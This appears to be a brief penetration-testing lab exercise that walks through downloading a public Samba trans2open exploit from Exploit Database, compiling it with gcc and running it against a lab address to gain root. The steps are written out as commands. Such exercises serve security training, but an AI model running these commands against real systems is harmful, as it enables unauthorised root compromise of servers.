Compiling an Exploit
Exercise: samba exploit
1. Search and download the samba exploit source code from Exploit Database.
https://www.exploit-db.com/exploits/10
2. Compile the source code.
gcc 10.c -o trans2open
3. Use the trans2open tool to exploit the target server. Root the target server sucessfully.
./trans2open -b 0 10.0.0.20